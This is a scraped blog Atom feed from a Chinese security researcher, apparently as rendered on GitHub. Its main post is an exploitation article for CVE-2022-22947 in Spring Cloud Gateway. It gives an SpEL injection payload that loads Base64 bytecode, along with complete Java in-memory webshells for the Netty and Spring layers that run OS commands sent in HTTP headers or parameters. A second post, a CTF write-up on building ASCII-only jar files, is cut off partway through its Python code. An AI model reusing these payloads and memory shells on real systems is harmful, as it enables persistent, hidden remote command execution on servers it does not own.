-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathatom.xml
494 lines (264 loc) · 387 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>回忆飘如雪</title>
<subtitle>c0ny1's Blog-专注漏洞艺术</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="https://gv7.me/"/>
<updated>2022-03-10T06:36:14.300Z</updated>
<id>https://gv7.me/</id>
<author>
<name>c0ny1</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>Spring cloud gateway通过SPEL注入内存马</title>
<link href="https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/"/>
<id>https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/</id>
<published>2022-03-07T16:14:20.000Z</published>
<updated>2022-03-10T06:36:14.300Z</updated>
<content type="html"><![CDATA[<h2 id="0x00-背景"><a href="#0x00-背景" class="headerlink" title="0x00 背景"></a>0x00 背景</h2><p>最近小火的漏洞<code>CVE-2022-22947</code>虽然原理简单,但是实战利用还是有点小麻烦。目前公开的利用是每执行一条命令就得注册一条路由,refresh一下网关,最后在访问这个路由。先不说步骤较多,就是频繁刷新会影响业务。实战当中注入一个内存马才是硬道理!</p><p>spring cloud gateway的web服务是netty+spring构建的,netty的web服务没有遵循servlet规范来设计。这也导致了构造它的内存马,与常规中间件有所不同,从某种程度来讲是这是一种新类型的内存马。</p><p>下面以vulhub中的<code>spring cloud gateway 3.1.0</code>作为环境,来分享下构造netty层和spring层的内存马,其他版本思路相同。</p><h2 id="0x01-高可用Payload"><a href="#0x01-高可用Payload" class="headerlink" title="0x01 高可用Payload"></a>0x01 高可用Payload</h2><p>Spring cloud gateway对payload的稳定性要求比较高,一旦报错是由可能会影响业务的。所以在开始之前,我们需要先构造一个”优质”的SPEL执行java字节码的payload。</p><p>我主要对payload进行了如下的优化:</p><ol><li>解决BCEL/js引擎兼容性问题</li><li>解决base64在不同版本jdk的兼容问题</li><li>可多次运行同类名字节码</li><li>解决可能导致的ClassNotFound问题</li></ol><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}</span><br></pre></td></tr></table></figure><h2 id="0x02-netty层内存马"><a href="#0x02-netty层内存马" class="headerlink" title="0x02 netty层内存马"></a>0x02 netty层内存马</h2><p>netty处理http请求是构建一条责任链pipline,http请求会被链上的handler会依次来处理。所以我们的内存马其实就是一个handler。</p><p>不像常规的中间件,<code>filter/servlet/listener</code>组件有一个统一的维护对象。netty每一个请求过来,都是动态构造pipeline,pipeline上的handler都是在这个时候new的。<strong>负责给pipeline添加handler是<code>ChannelPipelineConfigurer</code>(下面简称为configurer),因此注入netty内存马的关键是分析<code>configurer</code>如何被netty管理和工作的。</strong></p><p><code>CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer</code>是为pipeline选择configurer的关键逻辑。第一个参数是Spring cloud gateway默认的configurer,第二个是用户额外配置的。一般情况下第一个参数是不为空配置,第二个参数为空配置,所以返回的configurer是Spring cloud gateway默认的。</p><p>如果我们能够设置第二个other参数不为空配置呢? 那么这两个configurer将被合并为一个新<code>CompositeChannelPipelineConfigurer</code>。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> ChannelPipelineConfigurer <span class="title">compositeChannelPipelineConfigurer</span><span class="params">(ChannelPipelineConfigurer configurer, ChannelPipelineConfigurer other)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (configurer == ChannelPipelineConfigurer.emptyConfigurer()) { <span class="comment">// 默认configurer是无操作空配置</span></span><br><span class="line"> <span class="keyword">return</span> other;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (other == ChannelPipelineConfigurer.emptyConfigurer()) { <span class="comment">// 其他额外configurer是无操作空配置</span></span><br><span class="line"> <span class="keyword">return</span> configurer;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> ......</span><br><span class="line"> ChannelPipelineConfigurer[] newConfigurers = <span class="keyword">new</span> ChannelPipelineConfigurer[length];</span><br><span class="line"> <span class="keyword">int</span> pos;</span><br><span class="line"> <span class="keyword">if</span> (thizConfigurers != <span class="keyword">null</span>) {</span><br><span class="line"> pos = thizConfigurers.length;</span><br><span class="line"> System.arraycopy(thizConfigurers, <span class="number">0</span>, newConfigurers, <span class="number">0</span>, pos);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> pos = <span class="number">1</span>;</span><br><span class="line"> newConfigurers[<span class="number">0</span>] = configurer; <span class="comment">// 将默认configurer存储到新configurer</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (otherConfigurers != <span class="keyword">null</span>) {</span><br><span class="line"> System.arraycopy(otherConfigurers, <span class="number">0</span>, newConfigurers, pos, otherConfigurers.length);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> newConfigurers[pos] = other; <span class="comment">// 将其他额外configurer存储到新configurer</span></span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 合并成新的configurer</span></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> ReactorNetty.CompositeChannelPipelineConfigurer(newConfigurers);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>CompositeChannelPipelineConfigurer</code>会循环调用所有合并进来<code>configurer</code>来对<code>pipeline</code>添加<code>handler</code>。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">final</span> <span class="class"><span class="keyword">class</span> <span class="title">CompositeChannelPipelineConfigurer</span> <span class="keyword">implements</span> <span class="title">ChannelPipelineConfigurer</span> </span>{</span><br><span class="line"> <span class="keyword">final</span> ChannelPipelineConfigurer[] configurers;</span><br><span class="line"></span><br><span class="line"> CompositeChannelPipelineConfigurer(ChannelPipelineConfigurer[] configurers) {</span><br><span class="line"> <span class="keyword">this</span>.configurers = configurers;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onChannelInit</span><span class="params">(ConnectionObserver connectionObserver, Channel channel, @Nullable SocketAddress remoteAddress)</span> </span>{</span><br><span class="line"> ChannelPipelineConfigurer[] var4 = <span class="keyword">this</span>.configurers;</span><br><span class="line"> <span class="keyword">int</span> var5 = var4.length;</span><br><span class="line"> <span class="comment">// 循环调用所有configurer对pipeline设置handler</span></span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> var6 = <span class="number">0</span>; var6 < var5; ++var6) {</span><br><span class="line"> ChannelPipelineConfigurer configurer = var4[var6];</span><br><span class="line"> configurer.onChannelInit(connectionObserver, channel, remoteAddress);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>因此我们可以通过修改other参数为自己的configurer向pipline中添加内存马。翻阅源码发现<code>reactor.netty.transport.TransportConfig</code>类的<code>doOnChannelInit</code>属性存储着other参数,我使用<a href="https://github.com/c0ny1/java-object-searcher" target="_blank" rel="noopener">java-object-searcher</a>以<code>doOnChannelInit</code>为关键字,定位出了它在线程对象的位置。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">TargetObject = {[Ljava.lang.Thread;} </span><br><span class="line"> ---> [3] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} </span><br><span class="line"> ---> val$disposableServer = {reactor.netty.transport.ServerTransport$InetDisposableBind} </span><br><span class="line"> ---> config = {reactor.netty.http.server.HttpServerConfig} </span><br><span class="line"> ---> doOnChannelInit = {reactor.netty.ReactorNetty$$Lambda$391/236567414}</span><br></pre></td></tr></table></figure><p>最终内存马构造如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">NettyMemshell</span> <span class="keyword">extends</span> <span class="title">ChannelDuplexHandler</span> <span class="keyword">implements</span> <span class="title">ChannelPipelineConfigurer</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">doInject</span><span class="params">()</span></span>{</span><br><span class="line"> String msg = <span class="string">"inject-start"</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Method getThreads = Thread.class.getDeclaredMethod(<span class="string">"getThreads"</span>);</span><br><span class="line"> getThreads.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> Object threads = getThreads.invoke(<span class="keyword">null</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < Array.getLength(threads); i++) {</span><br><span class="line"> Object thread = Array.get(threads, i);</span><br><span class="line"> <span class="keyword">if</span> (thread != <span class="keyword">null</span> && thread.getClass().getName().contains(<span class="string">"NettyWebServer"</span>)) {</span><br><span class="line"> Field _val$disposableServer = thread.getClass().getDeclaredField(<span class="string">"val$disposableServer"</span>);</span><br><span class="line"> _val$disposableServer.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> Object val$disposableServer = _val$disposableServer.get(thread);</span><br><span class="line"> Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField(<span class="string">"config"</span>);</span><br><span class="line"> _config.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> Object config = _config.get(val$disposableServer);</span><br><span class="line"> Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField(<span class="string">"doOnChannelInit"</span>);</span><br><span class="line"> _doOnChannelInit.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> _doOnChannelInit.set(config, <span class="keyword">new</span> NettyMemshell());</span><br><span class="line"> msg = <span class="string">"inject-success"</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> msg = <span class="string">"inject-error"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> msg;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="comment">// Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onChannelInit</span><span class="params">(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress)</span> </span>{</span><br><span class="line"> ChannelPipeline pipeline = channel.pipeline();</span><br><span class="line"> <span class="comment">// 将内存马的handler添加到spring层handler的前面 </span></span><br><span class="line"> pipeline.addBefore(<span class="string">"reactor.left.httpTrafficHandler"</span>,<span class="string">"memshell_handler"</span>,<span class="keyword">new</span> NettyMemshell());</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="comment">// Step2. 作为Handler处理请求,在此实现内存马的功能逻辑</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">channelRead</span><span class="params">(ChannelHandlerContext ctx, Object msg)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> <span class="keyword">if</span>(msg <span class="keyword">instanceof</span> HttpRequest){</span><br><span class="line"> HttpRequest httpRequest = (HttpRequest)msg;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">if</span>(httpRequest.headers().contains(<span class="string">"X-CMD"</span>)) {</span><br><span class="line"> String cmd = httpRequest.headers().get(<span class="string">"X-CMD"</span>);</span><br><span class="line"> String execResult = <span class="keyword">new</span> Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(<span class="string">"\\A"</span>).next();</span><br><span class="line"> <span class="comment">// 返回执行结果</span></span><br><span class="line"> send(ctx, execResult, HttpResponseStatus.OK);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> ctx.fireChannelRead(msg);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">send</span><span class="params">(ChannelHandlerContext ctx, String context, HttpResponseStatus status)</span> </span>{</span><br><span class="line"> FullHttpResponse response = <span class="keyword">new</span> DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));</span><br><span class="line"> response.headers().set(HttpHeaderNames.CONTENT_TYPE, <span class="string">"text/plain; charset=UTF-8"</span>);</span><br><span class="line"> ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/netty-memshell.jpeg" alt="netty内存马执行效果"></p><h2 id="0x03-Spring层内存马"><a href="#0x03-Spring层内存马" class="headerlink" title="0x03 Spring层内存马"></a>0x03 Spring层内存马</h2><p>Spring层request请求处理组件很多,有handler/Adapter/Filter等等,理论上都可以拿来做内存马,这里我分享下最简单的<code>RequestMappingHandler</code>。</p><p>Spring cloud gateway主要的路由分发主要由<code>org.springframework.web.reactive.DispatcherHandler</code>类和它三个组件来完成</p><ol><li>org.springframework.web.reactive.HandlerMapping 路由比配器</li><li>org.springframework.web.reactive.HandlerAdapter handler适配器</li><li>org.springframework.web.reactive.HandlerResultHandler 结果处理器</li></ol><p>具体逻辑如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// org.springframework.web.reactive.DispatcherHandler#handle</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> Mono<Void> <span class="title">handle</span><span class="params">(ServerWebExchange exchange)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.handlerMappings == <span class="keyword">null</span> ? <span class="keyword">this</span>.createNotFoundError() : Flux.fromIterable(<span class="keyword">this</span>.handlerMappings).concatMap((mapping) -> {</span><br><span class="line"> <span class="keyword">return</span> mapping.getHandler(exchange); <span class="comment">// Step1. 使用HandlerMapping匹配路由</span></span><br><span class="line"> }).next().switchIfEmpty(<span class="keyword">this</span>.createNotFoundError()).flatMap((handler) -> {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.invokeHandler(exchange, handler); <span class="comment">// Step2. 使用具体HandlerAdapter来处理具体请求</span></span><br><span class="line"> }).flatMap((result) -> {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.handleResult(exchange, result); <span class="comment">// Step3. 使用适合的HandlerResultHandler来处理返回的结果</span></span><br><span class="line"> });</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>基于这个流程,我们可以梳理出一个构造内存马的思路。让<code>HandlerMapping</code>注册一个映射关系,通过映射关系让特定的HandlerAdapter执行到我们的内存马流程,最后内存马返回一个HandlerResultHandler可以处理的结果类型即可。</p><p>这里我选择<code>RequestMappingHandlerMapping</code>这个HandlerMapping,来注册一个与使用<code>@RequestMapping("/*")</code>等效的内存马。</p><p><img src="/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/handlerMapping.png" alt="RequestMappingHandlerMapping"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">SpringRequestMappingMemshell</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">doInject</span><span class="params">(Object requestMappingHandlerMapping)</span> </span>{</span><br><span class="line"> String msg = <span class="string">"inject-start"</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod(<span class="string">"registerHandlerMethod"</span>, Object.class, Method.class, RequestMappingInfo.class);</span><br><span class="line"> registerHandlerMethod.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod(<span class="string">"executeCommand"</span>, String.class);</span><br><span class="line"> PathPattern pathPattern = <span class="keyword">new</span> PathPatternParser().parse(<span class="string">"/*"</span>);</span><br><span class="line"> PatternsRequestCondition patternsRequestCondition = <span class="keyword">new</span> PatternsRequestCondition(pathPattern);</span><br><span class="line"> RequestMappingInfo requestMappingInfo = <span class="keyword">new</span> RequestMappingInfo(<span class="string">""</span>, patternsRequestCondition, <span class="keyword">null</span>, <span class="keyword">null</span>, <span class="keyword">null</span>, <span class="keyword">null</span>, <span class="keyword">null</span>, <span class="keyword">null</span>);</span><br><span class="line"> registerHandlerMethod.invoke(requestMappingHandlerMapping, <span class="keyword">new</span> SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);</span><br><span class="line"> msg = <span class="string">"inject-success"</span>;</span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> msg = <span class="string">"inject-error"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> msg;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> ResponseEntity <span class="title">executeCommand</span><span class="params">(String cmd)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> String execResult = <span class="keyword">new</span> Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(<span class="string">"\\A"</span>).next();</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> ResponseEntity(execResult, HttpStatus.OK);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>那怎么获取到<code>RequestMappingHandlerMapping</code>呢?通过java-object-searcher自然可以定位到,小组的<code>@whw1sfb</code>师傅提到了一种更简便的方案,<strong>从SPEL上下文的bean当中获取!</strong></p><p><img src="/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/get-RequestMappingHandlerMapping.png" alt="从Bean中获取RequestMappingHandlerMapping"></p><p><img src="/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/inject-spring-requestmapping-memshell.png" alt="注册Spring requestmapping内存马"></p><p><img src="/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/spring-requestmapping-memshell.png" alt="Spring RequestMapping内存马"></p><h2 id="0x04-总结"><a href="#0x04-总结" class="headerlink" title="0x04 总结"></a>0x04 总结</h2><p>从最后的效果来看,spring层的内存马更好做兼容性,因为可以直接从bean当中获取目标对象,唯一要考虑的就是注入方法在各个版本是否兼容。</p><p>关于各个协议和组件的内存马的构造思路其实都大同小异,说白了就是分析涉及处理请求的对象,阅读它的源码看看是否能获取请求内容,同时能否控制响应内容。然后分析该对象是如何被注册到内存当中的,最后我们只要模拟下这个过程即可。</p><h2 id="0x05-参考资料"><a href="#0x05-参考资料" class="headerlink" title="0x05 参考资料"></a>0x05 参考资料</h2><ul><li><a href="https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/" target="_blank" rel="noopener">CVE-2022-22947: SpEL Casting and Evil Beans</a></li></ul>]]></content>
<summary type="html">
<h2 id="0x00-背景"><a href="#0x00-背景" class="headerlink" title="0x00 背景"></a>0x00 背景</h2><p>最近小火的漏洞<code>CVE-2022-22947</code>虽然原理简单,但是实战利用还是有
</summary>
<category term="漏洞利用" scheme="https://gv7.me/tags/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
</entry>
<entry>
<title>RWCTF 4th Desperate Cat ASCII Jar Writeup</title>
<link href="https://gv7.me/articles/2022/rwctf-4th-desperate-cat-ascii-jar-writeup/"/>
<id>https://gv7.me/articles/2022/rwctf-4th-desperate-cat-ascii-jar-writeup/</id>
<published>2022-02-13T07:02:57.000Z</published>
<updated>2022-02-14T06:49:13.953Z</updated>
<content type="html"><![CDATA[<h2 id="0x00-背景"><a href="#0x00-背景" class="headerlink" title="0x00 背景"></a>0x00 背景</h2><p>出题人的<a href="https://mp.weixin.qq.com/s/QQ2xR32Fxj_nnMsFCucbCg" target="_blank" rel="noopener">Writeup</a>当中提到了一个非预期解,上传一个ASCII jar并执行它来解题。思路都好理解,但如何构造这个特殊的jar,一笔带过了。文章里介绍的工具也是不能直接使用的。这篇文章主要是分享ASCII jar的构造思路。</p><p><img src="/articles/2022/rwctf-4th-desperate-cat-ascii-jar-writeup/ascii-zip-exploit.png" alt="ASCII ZIP Exploit"></p><p><strong>在开始之前,我们先思考一个问题,为何需要控制字节在ASCII(0-127)之内呢?</strong></p><p>这是因为题目写的文件内容是一个<code>String</code>而不是一个<code>byte[]</code>,<code>String</code>的编码决定着它的<code>byte[]</code>。各类编码是可以兼容ASCII的,无论怎么编码转换,ASCII范围的字符二进制都可以做到不变。</p><p>所以该题最终需要控制jar的内容在0-127同时不包含被转义的<code>&<'>"()</code>字符。</p><h2 id="0x01-构造思路"><a href="#0x01-构造思路" class="headerlink" title="0x01 构造思路"></a>0x01 构造思路</h2><p>jar格式包含着各类信息,我们需要让每一部分都在允许的字节范围内。但每部分生成的算法并不相同,所以需要分别构造,最终合并成一个合法的jar。</p><p>一个简单的jar格式大概如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">wrap_jar</span><span class="params">(raw_data,compressed_data,zip_entry_filename)</span>:</span></span><br><span class="line"> crc = zlib.crc32(raw_data) % pow(<span class="number">2</span>, <span class="number">32</span>)</span><br><span class="line"> <span class="keyword">return</span> (</span><br><span class="line"> <span class="string">b'PK\3\4'</span> + <span class="comment"># Magic</span></span><br><span class="line"> binascii.unhexlify(</span><br><span class="line"> <span class="string">'0a000000'</span> + <span class="comment"># Version needed to extract</span></span><br><span class="line"> <span class="string">'080000000000'</span> <span class="comment"># Compression Method</span></span><br><span class="line"> ) +</span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, crc) +</span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, len(compressed_data) % pow(<span class="number">2</span>, <span class="number">32</span>)) +</span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, len(raw_data) % pow(<span class="number">2</span>, <span class="number">32</span>)) +</span><br><span class="line"> struct.pack(<span class="string">'<H'</span>, len(zip_entry_filename)) +</span><br><span class="line"> <span class="string">b'\0\0'</span> +</span><br><span class="line"> zip_entry_filename +</span><br><span class="line"> compressed_data +</span><br><span class="line"> <span class="string">b'PK\1\2\0\0'</span> + <span class="comment"># Magic</span></span><br><span class="line"> binascii.unhexlify(</span><br><span class="line"> <span class="string">'0a000000'</span> + <span class="comment"># Version needed to extract</span></span><br><span class="line"> <span class="string">'080000000000'</span></span><br><span class="line"> ) +</span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, crc) +</span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, len(compressed_data) % pow(<span class="number">2</span>, <span class="number">32</span>)) +</span><br><span class="line"> struct.pack(<span class="string">'<L'</span>, len(raw_data) % pow(<span class="number">2</span>, <span class="number">32</span>)) 